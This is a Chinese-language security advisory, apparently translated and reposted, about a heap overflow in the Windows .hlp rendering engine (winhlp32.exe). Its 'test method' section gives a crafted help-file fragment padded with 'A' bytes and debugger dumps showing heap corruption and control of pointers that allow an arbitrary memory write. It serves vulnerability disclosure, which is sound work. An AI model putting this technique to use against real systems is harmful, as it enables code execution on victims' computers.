安全研究

安全漏洞
Microsoft Windows帮助图形处理堆溢出漏洞

发布日期:2006-03-31
更新日期:2006-03-31

受影响系统:
Microsoft Windows XP SP2
Microsoft Windows XP SP1
Microsoft Windows Server 2003 SP1
Microsoft Windows Server 2003
Microsoft Windows NT Server 4.0
Microsoft Windows 2000SP4
Microsoft Windows 2000SP3
Microsoft Windows 2000SP2
Microsoft Windows 2000SP1
描述:
BUGTRAQ  ID: 17325

Microsoft Windows是微软发布的非常流行的操作系统。

winhlp32.exe的.hlp文件渲染引擎中存在堆溢出漏洞,攻击者可以通过在.hlp文件中嵌入HTML页面来触发这个漏洞,覆盖内存块并执行任意指令。

<*来源:c0ntex (c0ntex@hushmail.com
  
  链接:http://www.open-security.org/advisories/15
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

以acmsetup.hlp为例:

......snip .....
:CW(`main'):FH()
:CBB(`btn_topics
',`NS():JI(`>mai
n',`HelpTopicsBu
tton'):FH():CS()
:FH():FD()'):SPC
(16777215):FH().
.........lP.....
............. ..
.z...\..........
................
................
..w..x......x...
..5.`......%...e
% ....3.@=......
..x.......w..


// 攻击者可以注入恶意输入来触发这个漏洞:
......snip......
:CW(`main'):FH()
:CBB(`btn_topics
',`NS():JI(`>mai
n',`HelpTopicsBu
tton'):FH():CS()
:FH():FD()'):SPC
  (16777215):FH().
  .........lP.....
  ............. ..
.z...\..........
.........AAAAAAA
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
plus 10,000 more

winhlp32.exe打开了.hlp文件后,堆状态如下:

HEAP[winhlp32.exe]: Heap block at 0009B940 modified at 0009B9A2 past requested size of 5a
0:000> dd 0009b940
0009b940  0005000f 001e0700 4f26001f 41697470
0009b950  41414141 abababab 41ababab feeefeee
0009b960  4100feee 41414141 00040000 41000005
0009b970  554d001b 41002928 41414141 feababab
0009b980  4100feee 00000000 41060000 41414141
0009b990  6f42001f 416d6b6f 65446b72 416e6966
0009b9a0  41414141 abababab 41ababab feeefeee
0009b9b0  4100feee 00004141 000f0006 feee0400


HEAP[winhlp32.exe]: Invalid Address specified to RtlFreeHeap( 00090000, 0009B948 )
(728.2f8): Break instruction exception - code 80000003 (first chance)
eax=0009b940 ebx=0009b940 ecx=77f75c17 edx=0007ecba esi=00090000 edi=0009b940
eip=77f75a58 esp=0007eec4 ebp=0007eed8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000202
0:000> dd 0009B948
0009b948  4f26001f 41697470 41414141 abababab
0009b958  41ababab feeefeee 4100feee 41414141
0009b968  00040000 41000005 554d001b 41002928
0009b978  41414141 feababab 4100feee 00000000
0009b988  41060000 41414141 6f42001f 416d6b6f
0009b998  65446b72 416e6966 41414141 abababab
0009b9a8  41ababab feeefeee 4100feee 00004141
0009b9b8  000f0006 00230400 000901a8 000901a8


HEAP[winhlp32.exe]: Heap block at 0009BE50 modified at 0009BF54 past requested size of fc
0:000> dd 0009BE50
0009be50  00180023 001c0700 02390006 007a0000
0009be60  00000000 02b30000 00280000 000e0000
0009be70  000d0000 00010000 00000004 00000000
0009be80  00000000 005a0000 00100000 00000000
0009be90  00000000 00000000 80000080 80000000
0009bea0  00800080 00800000 80800080 41410000
0009beb0  41414141 41414141 41414141 41414141
0009bec0  41414141 41414141 41414141 41414141


可见已经在0009be54覆盖了之前块的尾部,控制了以下部分:


0:000> dd 0009BF54
0009bf54  41414141 41414141 41414141 41414141
0009bf64  41414141 41414141 41414141 41414141
0009bf74  41414141 41414141 41414141 41414141
0009bf84  41414141 41414141 41414141 41414141
0009bf94  41414141 41414141 41414141 41414141
0009bfa4  41414141 41414141 41414141 41414141
0009bfb4  41414141 41414141 41414141 41414141
0009bfc4  41414141 41414141 41414141 41414141


由于可以在堆管理结构中直接控制两个指针,因此可以覆盖4字节任意内存:


EAX 41414141
ECX 41414141
EDX 0009E5D8 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..."
EBX 00090000
ESP 0007F90C
EBP 0007FB30
ESI 0009E5D8 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..."
EDI 00000068
EIP 77F581BD ntdll.77F581BD

建议:
厂商补丁:

Microsoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.microsoft.com/technet/security/

浏览次数:3938
严重程度:10(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障